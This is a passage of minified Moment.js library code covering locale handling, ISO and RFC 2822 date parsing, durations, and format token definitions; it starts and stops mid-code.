t,n,s,i,r,a=[],o=[],u=[],d=[];for(t=0;t<7;t++)n=l([2e3,1]).day(t),s=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),r=this.weekdays(n,""),a.push(s),o.push(i),u.push(r),d.push(s),d.push(i),d.push(r);for(a.sort(e),o.sort(e),u.sort(e),d.sort(e),t=0;t<7;t++)o[t]=U(o[t]),u[t]=U(u[t]),d[t]=U(d[t]);this._weekdaysRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function te(){return this.hours()%12||12}function ne(e,t){P(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function se(e,t){return t._meridiemParse}function ie(e){return e?e.toLowerCase().replace("_","-"):e}function re(e){var t=null;if(!Xt[e]&&"undefined"!=typeof module&&module&&module.exports)try{t=Jt._abbr;require("./locale/"+e),ae(t)}catch(e){}return Xt[e]}function ae(e,t){var n;return e&&(n=s(t)?ue(e):oe(e,t))&&(Jt=n),Jt._abbr}function oe(e,t){if(null!==t){var n=Qt;if(t.abbr=e,null!=Xt[e])M("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),n=Xt[e]._config;else if(null!=t.parentLocale){if(null==Xt[t.parentLocale])return Kt[t.parentLocale]||(Kt[t.parentLocale]=[]),Kt[t.parentLocale].push({name:e,config:t}),null;n=Xt[t.parentLocale]._config}return Xt[e]=new k(D(n,t)),Kt[e]&&Kt[e].forEach(function(e){oe(e.name,e.config)}),ae(e),Xt[e]}return delete Xt[e],null}function ue(e){var n;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return Jt;if(!t(e)){if(n=re(e))return n;e=[e]}return function(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=ie(e[r]).split("-")).length,n=(n=ie(e[r+1]))?n.split("-"):null;t>0;){if(s=re(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&p(i,n,!0)>=t-1)break;t--}r++}return null}(e)}function le(e){var t,n=e._a;return n&&-2===d(e).overflow&&(t=n[xt]<0||n[xt]>11?xt:n[bt]<1||n[bt]>Z(n[Tt],n[xt])?bt:n[Pt]<0||n[Pt]>24||24===n[Pt]&&(0!==n[Wt]||0!==n[Ht]||0!==n[Rt])?Pt:n[Wt]<0||n[Wt]>59?Wt:n[Ht]<0||n[Ht]>59?Ht:n[Rt]<0||n[Rt]>999?Rt:-1,d(e)._overflowDayOfYear&&(t<Tt||t>bt)&&(t=bt),d(e)._overflowWeeks&&-1===t&&(t=Ct),d(e)._overflowWeekday&&-1===t&&(t=Ft),d(e).overflow=t),e}function de(e,t,n){return null!=e?e:null!=t?t:n}function he(t){var n,s,i,r,a,o=[];if(!t._d){for(i=function(t){var n=new Date(e.now());return t._useUTC?[n.getUTCFullYear(),n.getUTCMonth(),n.getUTCDate()]:[n.getFullYear(),n.getMonth(),n.getDate()]}(t),t._w&&null==t._a[bt]&&null==t._a[xt]&&function(e){var t,n,s,i,r,a,o,u;if(null!=(t=e._w).GG||null!=t.W||null!=t.E)r=1,a=4,n=de(t.GG,e._a[Tt],X(pe(),1,4).year),s=de(t.W,1),((i=de(t.E,1))<1||i>7)&&(u=!0);else{r=e._locale._week.dow,a=e._locale._week.doy;var l=X(pe(),r,a);n=de(t.gg,e._a[Tt],l.year),s=de(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(u=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(u=!0)):i=r}s<1||s>K(n,r,a)?d(e)._overflowWeeks=!0:null!=u?d(e)._overflowWeekday=!0:(o=Q(n,s,i,r,a),e._a[Tt]=o.year,e._dayOfYear=o.dayOfYear)}(t),null!=t._dayOfYear&&(a=de(t._a[Tt],i[Tt]),(t._dayOfYear>V(a)||0===t._dayOfYear)&&(d(t)._overflowDayOfYear=!0),s=J(a,0,t._dayOfYear),t._a[xt]=s.getUTCMonth(),t._a[bt]=s.getUTCDate()),n=0;n<3&&null==t._a[n];++n)t._a[n]=o[n]=i[n];for(;n<7;n++)t._a[n]=o[n]=null==t._a[n]?2===n?1:0:t._a[n];24===t._a[Pt]&&0===t._a[Wt]&&0===t._a[Ht]&&0===t._a[Rt]&&(t._nextDay=!0,t._a[Pt]=0),t._d=(t._useUTC?J:function(e,t,n,s,i,r,a){var o=new Date(e,t,n,s,i,r,a);return e<100&&e>=0&&isFinite(o.getFullYear())&&o.setFullYear(e),o}).apply(null,o),r=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[Pt]=24),t._w&&void 0!==t._w.d&&t._w.d!==r&&(d(t).weekdayMismatch=!0)}}function ce(e){var t,n,s,i,r,a,o=e._i,u=en.exec(o)||tn.exec(o);if(u){for(d(e).iso=!0,t=0,n=sn.length;t<n;t++)if(sn[t][1].exec(u[1])){i=sn[t][0],s=!1!==sn[t][2];break}if(null==i)return void(e._isValid=!1);if(u[3]){for(t=0,n=rn.length;t<n;t++)if(rn[t][1].exec(u[3])){r=(u[2]||" ")+rn[t][0];break}if(null==r)return void(e._isValid=!1)}if(!s&&null!=r)return void(e._isValid=!1);if(u[4]){if(!nn.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),_e(e)}else e._isValid=!1}function fe(e,t,n,s,i,r){var a=[function(e){var t=parseInt(e,10);{if(t<=49)return 2e3+t;if(t<=999)return 1900+t}return t}(e),Vt.indexOf(t),parseInt(n,10),parseInt(s,10),parseInt(i,10)];return r&&a.push(parseInt(r,10)),a}function me(e){var t=on.exec(function(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").trim()}(e._i));if(t){var n=fe(t[4],t[3],t[2],t[5],t[6],t[7]);if(!function(e,t,n){if(e&&jt.indexOf(e)!==new Date(t[0],t[1],t[2]).getDay())return d(n).weekdayMismatch=!0,n._isValid=!1,!1;return!0}(t[1],n,e))return;e._a=n,e._tzm=function(e,t,n){if(e)return un[e];if(t)return 0;var s=parseInt(n,10),i=s%100;return(s-i)/100*60+i}(t[8],t[9],t[10]),e._d=J.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),d(e).rfc2822=!0}else e._isValid=!1}function _e(t){if(t._f!==e.ISO_8601)if(t._f!==e.RFC_2822){t._a=[],d(t).empty=!0;var n,s,i,r,a,o=""+t._i,u=o.length,l=0;for(i=R(t._f,t._locale).match(rt)||[],n=0;n<i.length;n++)r=i[n],(s=(o.match(F(r,t))||[])[0])&&((a=o.substr(0,o.indexOf(s))).length>0&&d(t).unusedInput.push(a),o=o.slice(o.indexOf(s)+s.length),l+=s.length),ut[r]?(s?d(t).empty=!1:d(t).unusedTokens.push(r),G(r,s,t)):t._strict&&!s&&d(t).unusedTokens.push(r);d(t).charsLeftOver=u-l,o.length>0&&d(t).unusedInput.push(o),t._a[Pt]<=12&&!0===d(t).bigHour&&t._a[Pt]>0&&(d(t).bigHour=void 0),d(t).parsedDateParts=t._a.slice(0),d(t).meridiem=t._meridiem,t._a[Pt]=function(e,t,n){var s;if(null==n)return t;return null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((s=e.isPM(n))&&t<12&&(t+=12),s||12!==t||(t=0),t):t}(t._locale,t._a[Pt],t._meridiem),he(t),le(t)}else me(t);else ce(t)}function ye(o){var l=o._i,y=o._f;return o._locale=o._locale||ue(o._l),null===l||void 0===y&&""===l?c({nullInput:!0}):("string"==typeof l&&(o._i=l=o._locale.preparse(l)),_(l)?new m(le(l)):(r(l)?o._d=l:t(y)?function(e){var t,n,s,i,r;if(0===e._f.length)return d(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,t=f({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],_e(t),h(t)&&(r+=d(t).charsLeftOver,r+=10*d(t).unusedTokens.length,d(t).score=r,(null==s||r<s)&&(s=r,n=t));u(e,n||t)}(o):y?_e(o):function(o){var u=o._i;s(u)?o._d=new Date(e.now()):r(u)?o._d=new Date(u.valueOf()):"string"==typeof u?function(t){var n=an.exec(t._i);null===n?(ce(t),!1===t._isValid&&(delete t._isValid,me(t),!1===t._isValid&&(delete t._isValid,e.createFromInputFallback(t)))):t._d=new Date(+n[1])}(o):t(u)?(o._a=a(u.slice(0),function(e){return parseInt(e,10)}),he(o)):n(u)?function(e){if(!e._d){var t=T(e._i);e._a=a([t.year,t.month,t.day||t.date,t.hour,t.minute,t.second,t.millisecond],function(e){return e&&parseInt(e,10)}),he(e)}}(o):i(u)?o._d=new Date(u):e.createFromInputFallback(o)}(o),h(o)||(o._d=null),o))}function ge(e,s,i,r,a){var o={};return!0!==i&&!1!==i||(r=i,i=void 0),(n(e)&&function(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(e.hasOwnProperty(t))return!1;return!0}(e)||t(e)&&0===e.length)&&(e=void 0),o._isAMomentObject=!0,o._useUTC=o._isUTC=a,o._l=i,o._i=e,o._f=s,o._strict=r,function(e){var t=new m(le(ye(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}(o)}function pe(e,t,n,s){return ge(e,t,n,s,!1)}function we(e,n){var s,i;if(1===n.length&&t(n[0])&&(n=n[0]),!n.length)return pe();for(s=n[0],i=1;i<n.length;++i)n[i].isValid()&&!n[i][e](s)||(s=n[i]);return s}function ve(e){var t=T(e),n=t.year||0,s=t.quarter||0,i=t.month||0,r=t.week||0,a=t.day||0,o=t.hour||0,u=t.minute||0,l=t.second||0,d=t.millisecond||0;this._isValid=function(e){for(var t in e)if(-1===Ut.call(hn,t)||null!=e[t]&&isNaN(e[t]))return!1;for(var n=!1,s=0;s<hn.length;++s)if(e[hn[s]]){if(n)return!1;parseFloat(e[hn[s]])!==g(e[hn[s]])&&(n=!0)}return!0}(t),this._milliseconds=+d+1e3*l+6e4*u+1e3*o*60*60,this._days=+a+7*r,this._months=+i+3*s+12*n,this._data={},this._locale=ue(),this._bubble()}function Me(e){return e instanceof ve}function Se(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function De(e,t){P(e,0,0,function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+b(~~(e/60),2)+t+b(~~e%60,2)})}function ke(e,t){var n=(t||"").match(e);if(null===n)return null;var s=((n[n.length-1]||[])+"").match(cn)||["-",0,0],i=60*s[1]+g(s[2]);return 0===i?0:"+"===s[0]?i:-i}function Ye(t,n){var s,i;return n._isUTC?(s=n.clone(),i=(_(t)||r(t)?t.valueOf():pe(t).valueOf())-s.valueOf(),s._d.setTime(s._d.valueOf()+i),e.updateOffset(s,!1),s):pe(t).local()}function Oe(e){return 15*-Math.round(e._d.getTimezoneOffset()/15)}function Te(){return!!this.isValid()&&(this._isUTC&&0===this._offset)}function xe(e,t){var n,s,r,a=e,u=null;return Me(e)?a={ms:e._milliseconds,d:e._days,M:e._months}:i(e)?(a={},t?a[t]=e:a.milliseconds=e):(u=fn.exec(e))?(n="-"===u[1]?-1:1,a={y:0,d:g(u[bt])*n,h:g(u[Pt])*n,m:g(u[Wt])*n,s:g(u[Ht])*n,ms:g(Se(1e3*u[Rt]))*n}):(u=mn.exec(e))?(n="-"===u[1]?-1:(u[1],1),a={y:be(u[2],n),M:be(u[3],n),w:be(u[4],n),d:be(u[5],n),h:be(u[6],n),m:be(u[7],n),s:be(u[8],n)}):null==a?a={}:"object"==typeof a&&("from"in a||"to"in a)&&(r=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t=Ye(t,e),e.isBefore(t)?n=Pe(e,t):((n=Pe(t,e)).milliseconds=-n.milliseconds,n.months=-n.months);return n}(pe(a.from),pe(a.to)),(a={}).ms=r.milliseconds,a.M=r.months),s=new ve(a),Me(e)&&o(e,"_locale")&&(s._locale=e._locale),s}function be(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Pe(e,t){var n={milliseconds:0,months:0};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function We(e,t){return function(n,s){var i,r;return null===s||isNaN(+s)||(M(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),r=n,n=s,s=r),n="string"==typeof n?+n:n,i=xe(n,s),He(this,i,e),this}}function He(t,n,s,i){var r=n._milliseconds,a=Se(n._days),o=Se(n._months);t.isValid()&&(i=null==i||i,o&&z(t,A(t,"Month")+o*s),a&&j(t,"Date",A(t,"Date")+a*s),r&&t._d.setTime(t._d.valueOf()+r*s),i&&e.updateOffset(t,a||o))}function Re(e,t){var n,s=12*(t.year()-e.year())+(t.month()-e.month()),i=e.clone().add(s,"months");return n=t-i<0?(t-i)/(i-e.clone().add(s-1,"months")):(t-i)/(e.clone().add(s+1,"months")-i),-(s+n)||0}function Ce(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ue(e))&&(this._locale=t),this)}function Fe(){return this._locale}function Ue(e,t){P(0,[e,e.length],0,t)}function Le(e,t,n,s,i){var r;return null==e?X(this,s,i).year:(r=K(e,s,i),t>r&&(t=r),function(e,t,n,s,i){var r=Q(e,t,n,s,i),a=J(r.year,0,r.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}.call(this,e,t,n,s,i))}function Ne(e,t){t[Rt]=g(1e3*("0."+e))}function Ge(e){return e}function Ve(e,t,n,s){var i=ue(),r=l().set(s,t);return i[n](r,e)}function Ee(e,t,n){if(i(e)&&(t=e,e=void 0),e=e||"",null!=t)return Ve(e,t,n,"month");var s,r=[];for(s=0;s<12;s++)r[s]=Ve(e,s,n,"month");return r}function Ie(e,t,n,s){"boolean"==typeof e?(i(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,i(t)&&(n=t,t=void 0),t=t||"");var r=ue(),a=e?r._week.dow:0;if(null!=n)return Ve(t,(n+a)%7,s,"day");var o,u=[];for(o=0;o<7;o++)u[o]=Ve(t,(o+a)%7,s,"day");return u}function Ae(e,t,n,s){var i=xe(t,n);return e._milliseconds+=s*i._milliseconds,e._days+=s*i._days,e._months+=s*i._months,e._bubble()}function je(e){return e<0?Math.floor(e):Math.ceil(e)}function Ze(e){return 4800*e/146097}function ze(e){return 146097*e/4800}function $e(e){return function(){return this.as(e)}}function qe(e){return function(){return this.isValid()?this._data[e]:NaN}}function Je(e){return(e>0)-(e<0)||+e}function Be(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n=An(this._milliseconds)/1e3,s=An(this._days),i=An(this._months);t=y((e=y(n/60))/60),n%=60,e%=60;var r=y(i/12),a=i%=12,o=s,u=t,l=e,d=n?n.toFixed(3).replace(/\.?0+$/,""):"",h=this.asSeconds();if(!h)return"P0D";var c=h<0?"-":"",f=Je(this._months)!==Je(h)?"-":"",m=Je(this._days)!==Je(h)?"-":"",_=Je(this._milliseconds)!==Je(h)?"-":"";return c+"P"+(r?f+r+"Y":"")+(a?f+a+"M":"")+(o?m+o+"D":"")+(u||l||d?"T":"")+(u?_+u+"H":"")+(l?_+l+"M":"")+(d?_+d+"S":"")}var Qe,Xe;Xe=Array.prototype.some?Array.prototype.some:function(e){for(var t=Object(this),n=t.length>>>0,s=0;s<n;s++)if(s in t&&e.call(this,t[s],s,t))return!0;return!1};var Ke=e.momentProperties=[],et=!1,tt={};e.suppressDeprecationWarnings=!1,e.deprecationHandler=null;var nt;nt=Object.keys?Object.keys:function(e){var t,n=[];for(t in e)o(e,t)&&n.push(t);return n};var st={},it={},rt=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,at=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,ot={},ut={},lt=/\d/,dt=/\d\d/,ht=/\d{3}/,ct=/\d{4}/,ft=/[+-]?\d{6}/,mt=/\d\d?/,_t=/\d\d\d\d?/,yt=/\d\d\d\d\d\d?/,gt=/\d{1,3}/,pt=/\d{1,4}/,wt=/[+-]?\d{1,6}/,vt=/\d+/,Mt=/[+-]?\d+/,St=/Z|[+-]\d\d:?\d\d/gi,Dt=/Z|[+-]\d\d(?::?\d\d)?/gi,kt=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,Yt={},Ot={},Tt=0,xt=1,bt=2,Pt=3,Wt=4,Ht=5,Rt=6,Ct=7,Ft=8;P("Y",0,0,function(){var e=this.year();return e<=9999?""+e:"+"+e}),P(0,["YY",2],0,function(){return this.year()%100}),P(0,["YYYY",4],0,"year"),P(0,["YYYYY",5],0,"year"),P(0,["YYYYYY",6,!0],0,"year"),Y("year","y"),x("year",1),C("Y",Mt),C("YY",mt,dt),C("YYYY",pt,ct),C("YYYYY",wt,ft),C("YYYYYY",wt,ft),L(["YYYYY","YYYYYY"],Tt),L("YYYY",function(t,n){n[Tt]=2===t.length?e.parseTwoDigitYear(t):g(t)}),L("YY",function(t,n){n[Tt]=e.parseTwoDigitYear(t)}),L("Y",function(e,t){t[Tt]=parseInt(e,10)}),e.parseTwoDigitYear=function(e){return g(e)+(g(e)>68?1900:2e3)};var Ut,Lt=I("FullYear",!0);Ut=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},P("M",["MM",2],"Mo",function(){return this.month()+1}),P("MMM",0,0,function(e){return this.localeData().monthsShort(this,e)}),P("MMMM",0,0,function(e){return this.localeData().months(this,e)}),Y("month","M"),x("month",8),C("M",mt),C("MM",mt,dt),C("MMM",function(e,t){return t.monthsShortRegex(e)}),C("MMMM",function(e,t){return t.monthsRegex(e)}),L(["M","MM"],function(e,t){t[xt]=g(e)-1}),L(["MMM","MMMM"],function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[xt]=i:d(n).invalidMonth=e});var Nt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Gt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Vt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Et=kt,It=kt;P("w",["ww",2],"wo","week"),P("W",["WW",2],"Wo","isoWeek"),Y("week","w"),Y("isoWeek","W"),x("week",5),x("isoWeek",5),C("w",mt),C("ww",mt,dt),C("W",mt),C("WW",mt,dt),N(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=g(e)});P("d",0,"do","day"),P("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),P("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),P("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),P("e",0,0,"weekday"),P("E",0,0,"isoWeekday"),Y("day","d"),Y("weekday","e"),Y("isoWeekday","E"),x("day",11),x("weekday",11),x("isoWeekday",11),C("d",mt),C("e",mt),C("E",mt),C("dd",function(e,t){return t.weekdaysMinRegex(e)}),C("ddd",function(e,t){return t.weekdaysShortRegex(e)}),C("dddd",function(e,t){return t.weekdaysRegex(e)}),N(["dd","ddd","dddd"],function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:d(n).invalidWeekday=e}),N(["d","e","E"],function(e,t,n,s){t[s]=g(e)});var At="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Zt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),zt=kt,$t=kt,qt=kt;P("H",["HH",2],0,"hour"),P("h",["hh",2],0,te),P("k",["kk",2],0,function(){return this.hours()||24}),P("hmm",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)}),P("hmmss",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)+b(this.seconds(),2)}),P("Hmm",0,0,function(){return""+this.hours()+b(this.minutes(),2)}),P("Hmmss",0,0,function(){return""+this.hours()+b(this.minutes(),2)+b(this.seconds(),2)}),ne("a",!0),ne("A",!1),Y("hour","h"),x("hour",13),C("a",se),C("A",se),C("H",mt),C("h",mt),C("k",mt),C("HH",mt,dt),C("hh",mt,dt),C("kk",mt,dt),C("hmm",_t),C("hmmss",yt),C("Hmm",_t),C("Hmmss",yt),L(["H","HH"],Pt),L(["k","kk"],function(e,t,n){var s=g(e);t[Pt]=24===s?0:s}),L(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),L(["h","hh"],function(e,t,n){t[Pt]=g(e),d(n).bigHour=!0}),L("hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s)),d(n).bigHour=!0}),L("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i)),d(n).bigHour=!0}),L("Hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s))}),L("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i))});var Jt,Bt=I("Hours",!0),Qt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Gt,monthsShort:Vt,week:{dow:0,doy:6},weekdays:At,weekdaysMin:Zt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Xt={},Kt={},en=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,tn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,nn=/Z|[+-]\d\d(?::?\d\d)?/,sn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],rn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],an=/^\/?Date\((\-?\d+)/i,on=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,un={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};e.createFromInputFallback=v("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),e.ISO_8601=function(){},e.RFC_2822=function(){};var ln=v("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:c()}),dn=v("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:c()}),hn=["year","quarter","month","week","day","hour","minute","second","millisecond"];De("Z",":"),De("ZZ",""),C("Z",Dt),C("ZZ",Dt),L(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=ke(Dt,e)});var cn=/([\+\-]|\d\d)/gi;e.updateOffset=function(){};var fn=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,mn=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;xe.fn=ve.prototype,xe.invalid=function(){return xe(NaN)};var _n=We(1,"add"),yn=We(-1,"subtract");e.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",e.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var gn=v("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});P(0,["gg",2],0,function(){return this.weekYear()%100}),P(0,["GG",2],0,function(){return this.isoWeekYear()%100}),Ue("gggg","weekYear"),Ue("ggggg","weekYear"),Ue("GGGG","isoWeekYear"),Ue("GGGGG","isoWeekYear"),Y("weekYear","gg"),Y("isoWeekYear","GG"),x("weekYear",1),x("isoWeekYear",1),C("G",Mt),C("g",Mt),C("GG",mt,dt),C("gg",mt,dt),C("GGGG",pt,ct),C("gggg",pt,ct),C("GGGGG",wt,ft),C("ggggg",wt,ft),N(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=g(e)}),N(["gg","GG"],function(t,n,s,i){n[i]=e.parseTwoDigitYear(t)}),P("Q",0,"Qo","quarter"),Y("quarter","Q"),x("quarter",7),C("Q",lt),L("Q",function(e,t){t[xt]=3*(g(e)-1)}),P("D",["DD",2],"Do","date"),Y("date","D"),x("date",9),C("D",mt),C("DD",mt,dt),C("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),L(["D","DD"],bt),L("Do",function(e,t){t[bt]=g(e.match(mt)[0])});var pn=I("Date",!0);P("DDD",["DDDD",3],"DDDo","dayOfYear"),Y("dayOfYear","DDD"),x("dayOfYear",4),C("DDD",gt),C("DDDD",ht),L(["DDD","DDDD"],function(e,t,n){n._dayOfYear=g(e)}),P("m",["mm",2],0,"minute"),Y("minute","m"),x("minute",14),C("m",mt),C("mm",mt,dt),L(["m","mm"],Wt);var wn=I("Minutes",!1);P("s",["ss",2],0,"second"),Y("second","s"),x("second",15),C("s",mt),C("ss",mt,dt),L(["s","ss"],Ht);var vn=I("Seconds",!1);P("S",0,0,function(){return~~(this.millisecond()/100)}),P(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),P(0,["SSS",3],0,"millisecond"),P(0,["SSSS",4],0,function(){return 10*this.millisecond()}),P(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),P(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),P(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),P(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),P(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),Y("millisecond","ms"),x("millisecond",16),C("S",gt,lt),C("SS",gt,dt),C("SSS",gt,ht);var Mn;for(Mn="SSSS";Mn.length<=9;Mn+="S")C(Mn,vt);for(Mn="S";Mn.length<=9;Mn+="S")L(Mn,Ne);var 